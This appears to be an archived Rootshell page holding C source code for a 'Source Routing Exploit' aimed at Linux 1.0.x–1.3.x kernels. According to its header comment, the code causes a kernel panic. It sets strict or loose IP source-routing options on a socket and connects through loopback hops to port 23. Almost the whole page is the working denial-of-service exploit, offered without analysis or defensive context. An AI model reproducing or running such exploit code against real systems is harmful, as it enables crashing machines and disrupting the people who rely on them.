home *** CD-ROM | disk | FTP | other *** search
-
- [ http://www.rootshell.com/ ]
-
- /*
- * Source Routing Exploit for Linux v1.0.x thru 1.3.x
- *
- * Causes kernel panic when run locally on all systems I have tested.
- * If remote machine is placed as the last hop and does not have NO_IPSR
- * set, they will panic as well. Luckily NO_IPSR is default ON.
- *
- * by Kit Knox <kit@connectnet.com>
- *
- * based on code by "Tim N."
- *
- * s_connect(s, name, port) - resolve name and connect
- * resolve_name(n, add, max, strict) - resolve names
- * source_route(s, add, num, strict, port) - source routed connect
- *
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netdb.h>
-
- /*
- * make a IP connection specifying the route to take
- *
- * s - socket
- * add[] - array of hops to make from first to last (Destination)
- * num - number of hops
- * strict - 1 for strict source routing, 0 for loose source routing
- */
- source_route(s, add, num, strict, port)
- struct in_addr add[];
- int num, strict, port;
- {
- int i;
- unsigned char buf[100], *t;
- struct sockaddr_in a;
-
- a.sin_family = AF_INET;
- a.sin_port = htons(port);
- a.sin_addr.s_addr = add[num - 1].s_addr;
-
- if(num <= 0)
- return(-1);
-
- /* no source routing needed */
- if(num == 1)
- return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));
-
- t = buf;
- *t++ = (strict) ? IPOPT_SSRR : IPOPT_LSRR; /* type */
- *t++ = 3 + 4 * num; /* length */
- *t++ = 4; /* pointer */
- for(i=0; i<num; i++) {
- bcopy(&add[i].s_addr, t, 4);
- t += 4;
- }
- *t = IPOPT_NOP; /* size = 3 + 4 * num, pad out to multiple of 4 */
-
- if( setsockopt(s, IPPROTO_IP, IP_OPTIONS, buf, 4 * (num + 1)) < 0)
- perror("source routing option");
-
- return(connect(s, (struct sockaddr *)&a, sizeof(struct sockaddr_in)));
- }
-
- res_one(n, a)
- char *n;
- struct in_addr *a;
- {
- struct hostent *hp;
-
- a->s_addr = inet_addr(n);
- if(a->s_addr == -1) {
- hp = gethostbyname(n);
- if(hp)
- bcopy(hp->h_addr, &a->s_addr, 4);
- else {
- printf("Cant resolve %s\n", n);
- return(-1);
- }
- }
- return(0);
- }
-
- resolve_name(n, add, max, strict)
- char *n;
- struct in_addr add[];
- int max, *strict;
- {
- char c;
- int i, j;
-
- i = 0;
-
- /* single host */
- if(*n != '@' && *n != '!') {
- if(res_one(n, &add[0]) == -1)
- return(-1);
- else
- return(1);
- }
-
- /* strict routing */
- if(*n == '!') {
- *strict == 1;
- n++;
- } else *strict = 0;
-
- if(*n != '@')
- return(-1);
-
- n++;
- for(;;) {
- for(j=0; n[j] && n[j] != '@'; j++)
- continue;
- c = n[j];
- n[j] = '\0';
- if(res_one(n, &add[i++]) == -1)
- return(-1);
- if(i >= max) {
- printf("Too Many Hops!\n");
- return(-1);
- }
- if(c != '\0')
- n += j + 1;
- else
- return(i);
- }
- }
-
- /*
- * resolve an address and connect to it
- * named address is of the form !@host1@host2@host3@dest
- * where ! signifies strict source routing (and its ommission
- * loose source routing). The packets go through host1, host2
- * host3 before reading dest.
- */
- s_connect(s, name, port)
- int s;
- char *name;
- {
- struct in_addr add[20];
- int strict, x;
-
- x = resolve_name(name, add, 20, &strict);
- if(x < 0)
- return(-1);
-
- return(source_route(s, add, x, strict, port));
- }
-
- void main(void)
- {
- int s;
- char str[50];
-
- sprintf(str,"@127.0.0.1@127.0.0.1@127.0.0.1");
- s = socket(AF_INET, SOCK_STREAM, 0);
- s_connect(s, str, 23);
- }
-